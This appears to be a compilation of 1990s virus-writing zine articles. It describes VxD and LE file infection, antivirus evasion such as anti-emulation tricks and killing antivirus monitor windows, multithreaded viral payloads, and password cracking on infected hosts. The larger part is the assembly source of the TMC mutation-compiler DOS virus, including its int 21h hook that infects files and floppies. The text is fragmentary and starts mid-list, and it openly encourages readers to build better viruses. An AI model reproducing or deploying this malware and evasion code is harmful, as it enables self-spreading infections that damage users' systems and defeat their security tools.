dispatcher is first 4-bytes of DDB
4. find fixup for dispatcher
5. write your code to end of code section, groove this section and change fixup to start of your code. be
sure that after end of your loader you return control to previous dispatcher. Note: the value of
relocation is more trustable than value in DDB
where xx xx xx xx is number of service. It means there are no imports and exports needed. After this
code is executed it is patched to
call dword ptr [addr]
where addr is pointer to some internal table where is stored pointer to function. You must agree this
was designed for viruses to get control over service. This may be useful, when you want to check
wether you are resident or not.
About hooking filesystem just see IFS_Mgr_InstallFileSystemApiHook
And for last dont forget in_resident flag and mutexes or other synchronizing stuff.
1. get entry point at le_header+1ch is offset (relative to start of section and at le_header+18h is object no
2. groove object (if enough space) and store loader at end of section
3. set new entry offset
1. start with short jump followed by "WATCOM" if this is not loader will say something like "Invalid
executable" and this is way how to test wether executable is compiled by WATCOM too
2. load code from end of file and run it (environment segment is at ES:2C like usually, you may use dos
services (int 21h) and DPMI (int 31h) - that is all you need)
Foreword
Every good virus should be armoured. Armoured means have some features, by which will be harder to
detect, harder to emulate, harder to disassemble, harder to trace, harder to monitor or harder to understand.
I will discuss here all techniques, which has some special meaning in virus programming.
Introduction
Actually, there r many ways, how to protect virus against AVs and Averz under so weird interface as Win32
is. Something is often used, something isn't. Here is a "short" list of techniques, which I will describe:
anti-emulator
anti-heuristics
anti-analysis (anti-disasm)
anti-debug
anti-monitor
anti-antivirus (retro)
anti-bait
or
mov edx, esp ;load ESP
push cs ;some
pop eax ;stuff
cmp esp, edx ;compare stack pointer
jne emul_present ;quit if not equal
And more...
Some coderz call this technique as anti-emulator and previous as anti-heuristic. I don't know, which
expresion is right (nobody knows :D) and I don't care. I think, that previous stuff was clear...
Patch dynamic code at run-time (this can be also called as anti-heuristic if u will patch code in some
hidden procedure, such as in thread etc...)
call label
patch: ... ;some garbage code
jmp shit ;...
... ;normal code
label: mov [patch], 90909090h ;overwrite garbage with NOPs
ret ;and quit from procedure
Calculate CRC32 and check it at virus start. It prevents from inserting breakpoints to code.
Play with paging and SMM mode (see XiNE#4)
Firstly we have to find window, which will we close. We will use FindWindowA API:
wAVP db 'AVP Monitor',0 ;window title
...
mov eax, offset wAVP ;window title
push eax ;push parameter
cdq ;EDX=0
push edx ;window class - NULL
call FindWindowA ;find window
xchg eax, ecx ;swap EAX with ECX
jecxz quit ;if ECX=0, quit
If AVP monitor window exists, we have window handle in EAX register. Otherwise, EAX is NULL. We will use
that handle to send close message:
push edx ;NULL parameter
push edx ;NULL parameter
push 12h ;WM_QUIT message
push ecx ;window handle
call PostMessageA ;send message!
Geee, and AVP monitor is away! I also tested it with NODICE and it also worked. U can close another
monitors, if u know titles of their windows.
Closin'
I hope this article will help u with coding under Win32 and u will find it useful. If u didn't understand
everything, then read it again or cotact your netwerk supervisor :)). Don't forget to use some techniques from
this article to be sure your virus will be better than average.
Foreword
Threads r relatively new, but very useful and very perspective feature/tech used by some new Win9X/NT
viruses. This article describes everything important about threads. Becoz I wrote many multithreaded viruses
and actually I'm coding new one, I decided to write this. Everything, what is described here I researched - so,
be tolerant to this - this article ain't for lamerz and I expect, u will research a bit on it and won't only rewriting
existing code.
This is my third article about threads. If u would like to read my first articles, then u have to wait for 29A#4
releasion (there r explained more details with more examples). Be patient and promise me u will read it :)
Processes - definition
Process is defined as one instance of running program. Example: u have one program - calculator. If u will
have three calculators running, u still have one program, but also three executed processes. Oppositely to
Win16 interface, process in Win32 is nonactive. Process can only own something - 4GB private address
space, code, data, handles, allocated memory, kernel objects and such like. Everything allocated by process
or system is automatically dealocated after process will quit. Process can't execute code.
Threads - definition
Thread is kernel object and is owned by process. Thread is executing code. Where in Win16 operating
system was swiching (commiting processor time) between tasks (processes), in Win32 is operating system
switching between threads. Process can create so many threads as it want (blah, it's limited by memory and
DWORD capacity :D). Imagine this situation: u have executed one instance of Calculator and WinWord.
Calculator has only one thread and WinWord has five threads. In that case, operating system will commit
processor time "parallely" to six threads (depending on set priorities) - Win16 could switch only between
processes and there were no threads.
Threads r very often used in Win32. For example, if u wanna print something from some editor, then editor
will create new thread which will service printing and u will still be able to edit text - one thread for editting,
second thread for printing. Big advantage is that all threads r scheduled by operating system. All u need is to
synchronize them - and thats the most difficult.
When new process is created, the system will by default create first thread, also called "primary thread".
Remember it!
Using threads under Win32 environment
Here I will talk about Win32 compatible way of using threads.
1. Theory
Coding threads for Win32 seems easy. In fact, it's easy, but u must know some system structures and
characteristics.
If u will create threads by following API, your code should work on all Win32 platformz. Before we will talk
about creating threads, u should know some important things.
context structure
stack
Context structure contains all registers. Everytime, when system switch to another thread, it will restore all
registers from that strucure. Context structure is the only one processor-dependent structure in all Win32.
Every thread has also its own stack allocated in 4GB address space. Standard size of stack is 1MB.
Syntax:
HANDLE CreateThread (LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack,
LPTHREAD_START_ROUTINE lpStartAddr, LPVOID lpvTParam,
DWORD fdwCreate, LPDWORD lpThreadID);
Parameters:
a) lpsa: Pointer to SECURITY_ATTRIBUTES structure. For default security attributes use
NULL value.
b) cbStack: Size of stack. Use NULL for default stack = 1MB.
c) lpStartAddr: Address of thread function.
d) lpvTParam: 32bit parameter which will be passed to thread.
e) fdwCreate: If u want to create thread, but suspend commiting cpu time, then push
CREATE_SUSPENDED. That thread will stay suspended until u call
ResumeThread API.
f) lpThreadID: Must be valid address to DWORD variable. ID of created thread will be stored
there.
This API will create new Win32 compatible thread. As output u will get actual process related handle and
whole-system related ID number. Thread handle as any other handles is valid only for one actual process, ID
number is valid in all system until thread will be closed.
Syntax:
void ExitThread (UINT fuExitCode);
This API will terminate actual thread and set exit code to fuExitCode.
Syntax:
BOOL TerminateThread (HANDLE hThread, UINT fuExitCode);
This API can terminate thread handled by hThread handle. Oppositely to previous API, this API
can terminate any thread, not only actual one. But be carefull! If u terminate thread which is
writing to disk, it can cause damages to system!
There r many other APIs for work with threads, but this article ain't so much practical as theoretical. If u r
really interested in thread and if u wanna know more about it, download Win32 SDK or contact me.
2. Synchronization
As I said some minutes before, thread synchronization is something really difficult, if not the most difficult
thing. It is REALLY important to take a special care on it. Becoz threads can run separatelly and
independently from other threads and u want to control all threads u created, u have to SYNCHRONIZE
them.
Remember this:
do not synchronize threads by single variables, rather use kernel synchronization objects!
principle of synchronization: sleep the thread until the thread or another kernel object will be signalised,
which in the simple words means: until thread will be terminated (it ain't so simple as I said, but in this
sample its enough for u).
when thread is in sleep state, CPU won't commit CPU time to thread and so it won't slow the computer.
when thread is not in sleep state, CPU will commit CPU time.
Thread can suspend itself from commiting CPU time until kernel object will be signalised (in our case
terminated). For that purpose there is one API in Win32 interface called WaitForSingleObject:
Syntax:
DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
Parameters:
a) hHandle: H andle to kernel object.
b) dwMilliseconds: Number of milliseconds to wait. If u want to wait until object will be signalised
for unlimited time, pass -1 to this API.
Return values:
-1 The function failed, u can get extended error code by calling GetLastError API.
0 If object has been signalised.
80h Thread waited for signalisation of object and object was signalised coz object has been
abandoned.
102h Object hasn't been signalised in time spec. by dwMilliseconds parameter.
3. Practice
Ok, I hope u understood everything and if not, u will do so after some examples. The easiest, but the least
efficent idea is:
1. Create new thread and make all viral actions inside it (see CreateThread API)
2. Sleep primary thread until primary thread will be finished (see WaitForSingleObject API)
Example:
... ;some action before
push offset threadID ;where will be stored thread ID
push 0 ;normal thread initialization
push 12345678h ;parameter for thread *)
push offset threadProc ;address of thread function
push 0 ;normal stack - 1MB by default
push 0 ;default security attributes
call CreateThread ;create thread!
push eax ;parameter for CloseHandle **)
push -1 ;wait until thread will be terminated
push eax ;handle of thread
call WaitForSingleObject ;wait!
call CloseHandle ;close thread handle **)
... ;some action after this
threadID dd ? ;variable needed by CreateThread API
... ;some code
threadProc: ;new thread starts here
pushad ;store all registers
mov eax, [esp+24h] ;get parameter passed to our thread *)
... ;some code
popad ;restore all registers
ret ;quit via undocumented way, no need to
;import ExitThread API
By this we will create new thread, wait for its termination and close its handle. Thread will store all registers,
get parameter to EAX register, restore all registers (needed by RET) and terminate thread (and code above
will be able to continue).
1. Create new thread, wait some seconds and make all viral action inside it
2. Jump to host without waiting for thread termination
Example:
... ;some action before
push offset threadID ;where will be stored thread ID
push 0 ;normal thread initialization
push 0 ;parameter for thread
push offset threadProc ;address of thread function
push 0 ;normal stack - 1MB by default
push 0 ;default security attributes
call CreateThread ;create thread!
push eax ;handle of thread
call CloseHandle ;close thread handle
jmp dword ptr [origEntryPoint];jump to original EntryPoint
threadProc: ;thread starts here
pushad ;store all registers
push 10000 ;10 000 milliseconds = 10 seconds
call Sleep ;wait 10 seconds
... ;some viral actions
popad ;restore all registers
ret ;and quit
origEntryPoint dd 402000h ;saved original entrypoint
By this we will create new thread, close its handle and jump to host program. Thread will on the background
suspend itself for 10 seconds (suspend thread from CPU time commiting), make some viral actions and
terminate itself. We suspended our thread, becoz it will be less suspicious to user (virus won't slow down the
system immediatelly).
All these algorithms r very simple and gives the AVs chance to trace them (everytime only one virus thread
runs). It also ain't very good to create many threads where still only one will be alive (such as in my
Win32.Leviathan). Much better idea is to run two or more threads "in the same" time, where one thread
cannot run without second one (and that second one cannot run without third one and so on...). It makes the
analysis much harder, if not impossible. The main idea is: let all threads be running and let operating system
synchronize them (do not synchronize them manually, becoz AV will be able to emulate it - they aren't able
to do that now, but I think they will do so after some months).
Here is an algorithm:
1. Create two threads, primary thread will pass execution to host program
2. Let first thread make 50% of some action and second thread to make next 50% of action without
synchronization
3. After everything is complete (when first thread will terminate itself, it will set flag. After two flags will be
set ...), then create another two threads, where another halfs of actions will be done and terminate
previous two threads.
4. Recursively do all of this until all viral actions will be done.
This won't be so easy to trace (also not for u :D)... this is my idea of future working of viruses. I never coded
virus using this algorithm, but I will do that. Now, it's only an idea...
I also wrote article about Ring-0 and Ring-3 threads under Ring-0, which will be published in 29A#4. From
that time I didn't find anything new, so I haven't anything new to show ya here. I think it wouldn't be good to
copy whole article here, becoz that article would be shit then. Please, wait for 29A#4 releasion and u will find
there also that article. Thank you.
1. Anti-Debug
2. Anti-Heuristic
3. Residency
4. And much more...
Closin'
I hope, that u enjoyed threads and that u will implement them in your next virus. If u didn't understand
anything, then contact me at benny@post.cz and I will help ya.
Last greetingz goes to *-zine stuff, especially to Flush, Mgl and Navrhar for letting me publish this article.
Good luck in coding guys!
Self-optimizing performace
Viruses are usualy stupid - they do the same things all the time. They, for example, infects like crazy, or will
not notice that user is searching for them. But you can monitor all this, you can learn all this. How? Well, i've
seen using neural network for nothing - just to be there - but it you are wise, you can use them for real, not
wasting a space like someone else: you can learn how user acts on his computer, and you can notice then if
he has some suspection, or what is he doing! Because your virus can self-optimize himself to do that.
But not only neural nets are good for it - did you think about genetic model? Yeah, virus navrhar is ready for
it, but do not performs it. Pitty. But you can create modular structure (each of them coresponded to one
gene, for example) and ty supply a lot of other genes and let them optimize its own performace by Darwin's
evolution in the wild. It can best show you how the virus should be coded to be good - because only good
ones will surrive (you your code will be bug-free, of course).
Be inventive - era of old viruses is in the past, to be best, you have to be dynamic, adaptive, protable, and
wise.
Reentrable filetargets
It is easy to implement and is very effective - try to write all your infection routines reentrantely, so you can
combine them any way: have you ever heard about exe file beeing infected, that was inserted as an
attachment into word document (ole2 structure filesystem), that was compressed using zip, send over email,
ascii armored with base64 encoding? It is simple, and very effective. Today it is still harder to find some
suitable infection target, but it is so easy - if you can combine your access functions, you can call them
whatever way you want, and you can easily do the important things. All is needed not to have a local
variables fixed, but a dynamic. Go ahead...
Password hijacking
It is very old technique, still used by hackers and still efective. You can usualy access password files. But
they are one-way encrypted, and if you want to use some other accounts - for active inet support on some
unix servers, for example, you need to know the passwords. So you can hack them. It can be done also for
WinNT password file. Because passwords are one-way encrypted, and for verifying only a encrypted forms
are compared, all you need is to test all the words you can imagine to encrypt it and to try if it matches. Then
- goal, and you can do what you want as you know a password. But it tooks a lot of time. Well, if you are on
some users machine, you are there for weeks or even months. You can use the time when user is not using
cpu (which is usualy quite often) and test them like a hell.
Also, you can use some password files. It is not possible to take some with you, as they ar usualy some
megs long, but you can download them from the internet (easily using http protocol), or you can use some
pages downloaded from internet and test all the words there - because users usualy sets a passwords
simmilar to what they like. And they also browses pages what they like as well. So the password can be also
on them like a regular word...
Multiplatform
Last thing I want to mention is a multi-platform support. It is not yet fully supported at all. Navrhar virus and
Anarchy does it in some way but not completely. Because there are many operating subsystems (call it this
way) that gaves you opportunity to surrive. You can use them all to surf from onw target to another. For
example, it is good to be an exe-virus, as you can do many things, but documents are mostly copied, instead
of exe files. So you need a ole2 support to transfer itself elsewhere. But not only this. You can switch
yourself to vbscript, to spread itself through html. And I can continue listing these features for some time as
well, but you can guess some by your own, don't you?
Flush
Hello hello guys! I got an oportunity to show you some older my program known as TMC. It means Tiny
Mutation Compiler - because it is a mutation compiler. My virii is not a hard-coded in fact but it is recompiled
for each run by a compiler from a pseudo-code given. So every time it might looks different. And it looks
different. The idea is very simple: there is no need to code large and av-proof decryptors just to permutate
your own body. That what TMC does.
But you can't change your body anyway you want. You need some rules, here in my sources, all virus
instructions are enclosed in macro brackets whose generates a pseudo-code. It contains normal opcodes
and some neccessary flags, instruction length and other info needed for linking (see my macros - they
explain it all).
For first generation a "starter" (first generation compiler) must be used, that is included too. In others, there is
only a compiler core in file which is also permutated and encrypted pseudocode. To run virus, it must be
compiled at first. Also used compiler is also written in pseudocode so it can be replicated too.
Compilation (btw: it is more like a linking than a compilation) is easy: instructions are placed whereever in
compiled buffer, connected with jumps and conditional jumps (they are followed with 3xNOP for worst case
of linking, as you know from one-pass compilation same as is here). If given chunk is a data or label, it is
remembered in linker as a label. If it is a instruction that refers it (jump or memory access), a correct address
is placed from linkere there. So instruction flow can be breaked at any point and memory-access addresses,
jump address will differ a lot. And this is body permutation, as you can see: no scanstring can be choosed,
because there is always risk of breaking instructions within scanstring, and any jumps may be placed there.
And heuristic can't wait until it is whole compiled. Thats it. Enjoy my sources and be happy.
ender
jumps
code segment para public use16 'CODE'
assume cs:code, ds:code
org 100h
include macros.inc
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄ
; ÚÙÚÙ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
start:
mov ds:out_block_ofs, offset out_block_table
mov ds:data_relo_ofs, offset data_relo_table
mov ds:jmp_relo_ofs, offset jmp_relo_table
;³ ³;
;³ ANALYZER ³;
;³ ³;
;³ Input: SI - source
;³ BX - output
;³ Output: BX - end of code
compile:
cld
mov di, offset in_block_table
xor ax, ax
next_in_block:
add si, ax
lodsb
or al, al
jz end_in_block
cmp al, M_CODE
jae code_cmd
cmp al, MAX_CODE_SIZE
jbe next_in_block
sub al, MAX_CODE_SIZE
jmp next_in_block
code_cmd:
cmp al, M_STOP
jnz no_stop
mov al, 0
jmp next_in_block
no_stop:
cmp al, M_BLOCK
jnz no_block
mov ax, si
STARTER.ASM
dec ax
stosw
mov ax, 0FFFFh
stosw
mov ax, 2
jmp next_in_block
end_in_block:
lea ax, [di + (-(offset in_block_table))]
shr ax, 1
shr ax, 1
mov cs:num_of_blocks, ax
xor ax, ax
stosw
;³ ³;
;³ COMPILER ³;
;³ ³;
next_block:
mov bp, cs:num_of_blocks
call rnd_max
shl ax, 1
shl ax, 1
add ax, offset in_block_table
mov di, ax
next_search_block:
add di, 4
mov si, [di]
or si, si
jnz no_last_block
mov di, offset in_block_table
mov si, [di]
no_last_block:
cmp byte ptr ds:[si], M_STOP
jnz no_stoped
cmp di, ax
jnz next_search_block
jmp no_next_block
no_stoped:
first_no_find:
cmp word ptr ds:[di+2], 0FFFFh
jz no_jmp_constr
push di
mov di, [di+2]
mov al, 0e9h
stosb
mov ax, bx
dec ax
dec ax
STARTER.ASM
sub ax, di
stosw
pop di
no_jmp_constr:
next_inst:
lodsb
cmp al, M_STOP
jz no_next_inst
push ax
mov bp, JMPS
call rnd_max
or ax, ax
pop ax
jz no_last_but_end
no_break:
cmp al, M_STOP
jz no_next_inst
cmp al, M_CODE
jae code_cmd1
cmp al, MAX_CODE_SIZE
jbe no_sub_size_data
sub al, MAX_CODE_SIZE
no_sub_size_data:
xor cx, cx
mov cl, al
push di
mov di, bx
rep movsb
mov bx, di
pop di
jmp next_inst
code_cmd1:
cmp al, M_RELO
jnz no_relo1
push di
mov di, data_relo_ofs
mov ax, bx
dec ax
dec ax
stosw
lodsw
stosw
mov data_relo_ofs, di
pop di
jmp next_inst
no_relo1:
cmp al, M_BLOCK
jnz no_block1
push di
mov di, out_block_ofs
mov ax, bx
STARTER.ASM
stosw
lodsw
stosw
mov out_block_ofs, di
cmp ax, src_src
jnz no_put_src
push si
mov di, bx
mov si, offset src
mov cx, offset src_end - offset src
rep movsb
mov bx, di
pop si
no_put_src:
pop di
lodsb
jmp no_break
no_block1: ;M_J*
push ax di
mov di, jmp_relo_ofs
mov ax, bx
stosw
lodsw
stosw
mov jmp_relo_ofs, di
pop di ax
mov [bx], al
add bx, 3
cmp al, M_J_COND
jb next_inst
inc bx
inc bx
jmp next_inst
no_last_but_end:
mov [di+2], bx
add bx, 3
no_next_inst:
dec si
mov [di], si
jmp next_block
no_next_block:
ret
;³ ³;
;³ JUMP RELOCATOR ³;
;³ ³;
link:
mov si, offset jmp_relo_table
mov cx, jmp_relo_ofs
sub cx, si
shr cx, 1
shr cx, 1
next_jmp_relo:
lodsw
STARTER.ASM
push ax
lodsw
push cx si
next_jmp_in_out:
cmp ax, [si + 2]
jz jmp_found
add si, 4
loop next_jmp_in_out
int 3
mov bp, 0DEEDh
push cs
pop ds
mov dx, offset jump_not_found
mov ah, 9
int 21h
mov ah, 4ch
int 21h
jmp_found:
mov dx, [si]
pop si cx
pop bx
mov al, [bx]
cmp al, M_J_COND
jb jmp1
over_jmp:
pop dx
dec bx
xor byte ptr [bx], 1
inc bx
mov byte ptr [bx], 3
inc bx
mov al, 0E9h
jmp1:
mov byte ptr [bx], al
STARTER.ASM
inc bx
sub dx, bx
dec dx
dec dx
mov [bx], dx
next_j_relo:
loop next_jmp_relo
;³ ³;
;³ DATA RELOCATOR ³;
;³ ³;
next_data_relo:
lodsw
push ax
lodsw
push cx si
next_data_in_out:
cmp ax, [si + 2]
jz found
add si, 4
loop next_data_in_out
int 3
mov bp, 0DEADh
push cs
pop ds
mov dx, offset data_not_found
mov ah, 9
int 21h
mov ah, 4ch
int 21h
found:
mov ax, [si]
pop si cx
pop bx
sub ax, offset free
mov [bx], ax
loop next_data_relo
ret
rnd:
push cx
in al, 40h
STARTER.ASM
mov ah, al
mov cl, al
in al, 40h
ror ax, cl
xor ax, cs:last_rnd
mov cs:last_rnd, ax
pop cx
ret
last_rnd dw 0DEADh
rnd_max:
or bp, bp
jz rnd_max_0
push dx
call rnd
; mov ax, 1
xor dx, dx
div bp
xchg ax, dx
pop dx
ret
rnd_max_0:
xor ax, ax
ret
num_of_blocks dw 0
out_block_ofs dw 0
data_relo_ofs dw 0
jmp_relo_ofs dw 0
include src\main.inc
in_block_table:
dd 100h dup(?)
out_block_table:
dd 100h dup(?)
data_relo_table:
dd 100h dup(?)
jmp_relo_table:
dd 100h dup(?)
free:
code ends
end start
COMPILER.INC
;DEBUG_SIZES = 1
@last_rnd EQU 2
@out_block_ofs EQU 4
@jump_relo_ofs EQU 6
@data_relo_ofs EQU 8
@num_of_blocks EQU 0ah
in_mem_ofs EQU 0ch
new_vir_size EQU 0eh
;³ ³;
;³ ANALYZER ³;
;³ ³;
BLOCK @compile
I< mov di, @in_block_table >
I< xor ax, ax >
JUMP @next_in_block
BLOCK @next_in_block
I< add si, ax >
CALLL read_byte
I< or al, al >
_JZ @end_in_block
I< cmp al, M_CODE >
_JAE @code_cmd
I< cmp al, MAX_CODE_SIZE >
_JBE @next_in_block
I< sub al, MAX_CODE_SIZE >
JUMP @next_in_block
BLOCK @code_cmd
I< cmp al, M_STOP >
_JNZ @no_stop
I< mov al, 0 >
JUMP @next_in_block
BLOCK @no_stop
I< cmp al, M_BLOCK >
_JNZ @no_block
I< mov ax, si >
I< dec ax >
I< stosw >
I< mov ax, 0FFFFh >
COMPILER.INC
BLOCK @end_in_block
I< lea ax, [di + (-(@in_block_table))] >
ifdef DEBUG_SIZES
I< int 3 >
endif
I< shr ax, 1 >
I< shr ax, 1 >
I< mov es:[@num_of_blocks], ax >
I< xor ax, ax >
I< stosw >
;³ ³;
;³ COMPILER ³;
;³ ³;
BLOCK @next_block
I< push bp >
I< mov bp, es:[@num_of_blocks] >
CALLL @rnd_max
I< pop bp >
I< shl ax, 1 >
I< shl ax, 1 >
I< add ax, @in_block_table >
I< mov di, ax >
JUMP @next_search_block
BLOCK @next_search_block
I< add di, 4 >
I< mov si, es:[di] >
I< or si, si >
_JNZ @no_last_block
I< mov di, @in_block_table >
I< mov si, es:[di] >
JUMP @no_last_block
BLOCK @no_last_block
I< push ax >
CALLL read_byte
I< dec si >
I< cmp al, M_STOP >
I< pop ax >
_JNZ @no_stoped
I< cmp di, ax >
_JNZ @next_search_block
JUMP @no_next_block
BLOCK @no_stoped
I< mov ax, es:[di+2] >
I< cmp ax, 0FFFFh >
_JZ @next_inst
COMPILER.INC
BLOCK @next_inst
CALLL read_byte
I< cmp al, M_STOP >
_JZ @no_next_inst
BLOCK @no_break
I< cmp al, M_STOP >
_JZ @no_next_inst
I< cmp al, M_CODE >
_JAE @code_cmd1
I< cmp al, MAX_CODE_SIZE >
_JBE @no_sub_size_data
I< sub al, MAX_CODE_SIZE >
JUMP @no_sub_size_data
BLOCK @no_sub_size_data
I< xor cx, cx >
I< mov cl, al >
I< push di >
I< mov di, bx >
JUMP @copy_next_byte
BLOCK @copy_next_byte
CALLL read_byte
I< stosb >
I< dec cx >
_JNZ @copy_next_byte
I< mov bx, di >
I< pop di >
JUMP @next_inst
BLOCK @code_cmd1
I< cmp al, M_RELO >
_JNZ @no_relo1
COMPILER.INC
BLOCK @no_relo1
I< cmp al, M_BLOCK >
_JNZ @no_block1
BLOCK @no_put_src
I< cmp ax, text_text >
_JNZ @no_put_text
BLOCK @no_put_text
I< cmp ax, @JMPS >
_JNZ @no_special
I< mov ax, [bp + 1234h] >
RELO @JMPS
I< dec ax >
I< cmp ax, MIN_JMPS >
_JAE jmps_no_over
I< mov ax, MAX_JMPS >
JUMP jmps_no_over
BLOCK jmps_no_over
COMPILER.INC
BLOCK @no_special
I< pop di >
CALLL read_byte
JUMP @no_break
BLOCK @no_last_but_end
I< mov es:[di+2], bx >
I< add bx, 3 >
JUMP @no_next_inst
BLOCK @no_next_inst
I< dec si >
I< mov es:[di], si >
JUMP @next_block
BLOCK @no_next_block
I< cmp word ptr es:[in_mem_ofs], 0 >
_JNZ @link
I< pop si >
I< mov es:[in_mem_ofs], bx >
I< add si, offset src_vir - offset src_startup >
JUMP @compile
;³ ³;
;³ JUMP RELOCATOR ³;
;³ ³;
BLOCK @link
I< push es >
I< pop ds >
I< sub bx, @free >
I< mov ds:[new_vir_size], bx >
endif
I< shr cx, 1 >
I< shr cx, 1 >
JUMP @next_jump_relo
BLOCK @next_jump_relo
I< lodsw >
I< push ax >
I< lodsw >
I< push cx >
I< push si >
BLOCK @next_jmp_in_out
I< cmp ax, [si + 2] >
_JZ @jmp_found
I< add si, 4 >
I< dec cx >
_JNZ @next_jmp_in_out
ifdef DEBUG
I< mov bp, 0DEEDh >
I< int 3 >
endif
BLOCK @jmp_found
I< mov dx, [si] >
I< pop si >
I< pop cx >
I< pop bx >
I< mov al, [bx] >
I< cmp al, M_J_COND >
_JB @jmp1
BLOCK @over_jmp
I< pop dx >
I< dec bx >
I< xor byte ptr [bx], 1 >
I< inc bx >
I< mov byte ptr [bx], 3 >
COMPILER.INC
BLOCK @jmp1
I< mov byte ptr [bx], al >
I< inc bx >
I< sub dx, bx >
I< dec dx >
I< dec dx >
I< mov [bx], dx >
JUMP @next_j_relo
BLOCK @next_j_relo
I< dec cx >
_JNZ @next_jump_relo
;³ ³;
;³ DATA RELOCATOR ³;
;³ ³;
BLOCK @next_data_relo
I< lodsw >
I< push ax >
I< lodsw >
I< push cx >
I< push si >
BLOCK @next_data_in_out
I< cmp ax, [si + 2] >
_JZ @found
I< add si, 4 >
I< dec cx >
_JNZ @next_data_in_out
ifdef DEBUG
I< mov bp, 0DEADh >
I< int 3 >
endif
BLOCK @found
I< mov ax, [si] >
I< pop si >
I< pop cx >
I< pop bx >
COMPILER.INC
;DEBUG = 1
START_JMPS EQU 50
NO_TEXT EQU 20
BAD_CLEAN EQU 20
MIN_JMPS EQU 5
MAX_JMPS EQU 100
include src\compiler.inc
BLOCK end_of_compile
I< mov ax, [bp+1234h] >
RELO save_ds
I< mov cx, [bp+1234h] >
RELO old_ss
I< add cx, 10h >
I< add cx, ax >
I< push cx >
MAIN.INC
BLOCK clean_ofajc
I< mov ax, [bp+1234h] >
RELO save_ds
I< mov cx, [bp+1234h] >
RELO old_ss
I< add cx, 10h >
I< add cx, ax >
I< push cx >
I< push word ptr [bp+1234h] >
RELO old_sp
I< mov cx, [bp+1234h] >
RELO old_cs
I< add cx, 10h >
I< add cx, ax >
I< push cx >
I< push word ptr [bp+1234h] >
RELO _old_ip
I< push ax >
I< push word ptr [bp + 1234h] >
RELO old_max_mem
I< push ds >
I< mov cl, 0 >
I< cmp byte ptr [bp+1234h], cl >
RELO filetype
_JNZ install
BLOCK install
I< xor ax, ax >
MAIN.INC
ifndef DEBUG
I< mov byte ptr ds:[501h], 10h >
endif
BLOCK exit
I< mov ax, 4c00h >
I< int 21h >
BLOCK @rnd
I< push cx >
I< in al, 40h >
;I< mov al, 0 >
I< mov ah, al >
I< in al, 40h >
;I< mov al, 0 >
I< xor ax, es:[@last_rnd] >
I< mov cl, ah >
I< rol ax, cl >
I< mov es:[@last_rnd], ax >
I< pop cx >
I< ret >
BLOCK @rnd_max
I< or bp, bp >
_JZ @rnd_max_0
I< push dx >
CALLL @rnd
;I< mov ax, 1 >
I< xor dx, dx >
I< div bp >
I< xchg ax, dx >
I< pop dx >
I< ret >
BLOCK @rnd_max_0
I< xor ax, ax >
I< ret >
BLOCK read_byte
I< mov [bp + 1234h], ah >
RELO save_ah
I< mov ax, si >
I< sub ax, bp >
I< sub ax, 1234h >
RELO src_src
I< mul word ptr [bp + 1234h] >
RELO xor_add
I< add al, [bp + 1234h] >
RELO xor_const
I< xor al, ds:[si] >
I< mov ah, [bp + 1234h] >
RELO save_ah
I< inc si >
I< ret >
BLOCK read_word
CALLL read_byte
I< mov ah, al >
CALLL read_byte
I< xchg al, ah >
I< ret >
BLOCK old_prog
I< pop es >
MAIN.INC
BLOCK old_entry
D< db 0EAh, 0, 0, 0, 0 >
db M_STOP, M_END
BLOCK crypt_data
I< mov si, 1234h >
RELO src_src
I< mov cx, offset src_end - offset src >
JUMP crypt_next_byte
BLOCK crypt_next_byte
I< xor ds:[si], al >
I< inc si >
I< add al, ah >
I< dec cx >
_JNZ crypt_next_byte
I< ret >
include src\tsr.inc
;INFECT_ONLY_CMM_EXX = 1
BLOCK int21
I< cld >
CALLL push_all
I< cmp ah, 3ch >
_JZ infect_floppy
I< cmp ah, 3dh >
_JZ infect_floppy
I< cmp ah, 3eh >
_JZ infect_close
I< cmp ah, 4bh >
_JNZ call_int21
JUMP infect_and_call_int21
BLOCK infect_and_call_int21
CALLL infect
JUMP call_int21
BLOCK call_int21
CALLL pop_all
I< jmp dword ptr cs:[1234h] >
RELO old21
BLOCK infect_floppy
I< mov si, dx >
I< lodsb >
I< cmp byte ptr ds:[si], ':' >
_JNZ no_drive_pressed
I< or al, 20h >
I< cmp al, 'b' >
_JA call_int21
JUMP infect_in_close
BLOCK no_drive_pressed
I< push ax >
I< mov ah, 19h >
I< int 21h >
I< cmp al, 1 >
I< pop ax >
_JA call_int21
JUMP infect_in_close
BLOCK infect_in_close
I< cmp ah, 3ch >
_JNZ infect_and_call_int21
I< xor bx, bx >
CALLL check4handle
_JNZ call_int21
CALLL init_int24
I< mov ah, 60h >
I< dec si >
I< push cs >
I< pop es >
I< mov di, 1234h >
RELO path
I< int 21h >
; _JC no_inf_int24
CALLL pop_all
I< pushf >
I< call dword ptr cs:[1234h] >
RELO old21
TSR.INC
CALLL push_all
I< pushf >
I< mov bx, 0FFFFh >
I< adc bx, 0 >
I< and ax, bx >
I< mov cs:[1234h], ax >
RELO handle
CALLL deinit_int24
I< popf >
CALLL pop_all
I< sti >
I< retf 2 >
BLOCK infect_close
CALLL check4handle
_JC call_int21
I< xor ax, ax >
I< mov cs:[1234h], ax >
RELO handle
CALLL pop_all
I< pushf >
I< call dword ptr cs:[1234h] >
RELO old21
CALLL push_all
I< pushf >
I< push cs >
I< pop ds >
I< mov dx, 1234h >
RELO path
CALLL infect
I< popf >
CALLL pop_all
I< sti >
I< retf 2 >
; BX - handle
; if CF=1 iny handle alebo ine PSP
; if ZF=1 ine PSP alebo BX=HANDLE
BLOCK check4handle
I< push bx >
I< mov ah, 62h >
I< int 21h >
I< mov di, 1234h >
RELO psp
I< cmp cs:[di], bx >
I< mov cs:[di], bx >
I< mov di, 1234h >
RELO handle
_JNZ new_psp
I< pop bx >
I< mov ax, bx >
I< sub ax, word ptr cs:[di] >
I< add ax, 0FFFFh >
I< inc ax >
I< ret >
BLOCK new_psp
I< mov word ptr cs:[di], 0 >
I< xor ax, ax >
I< pop bx >
I< stc >
I< ret >
TSR.INC
BLOCK infect
I< push ds >
I< pop es >
I< mov di, dx >
I< mov cx, 67d >
I< xor al, al >
I< repne scasb >
_JNZ no_inf
I< lea si, [di - 5] >
I< lodsw >
I< or ax, 2020h >
I< mov bx, 'mo' >
ifdef INFECT_ONLY_CMM_EXX
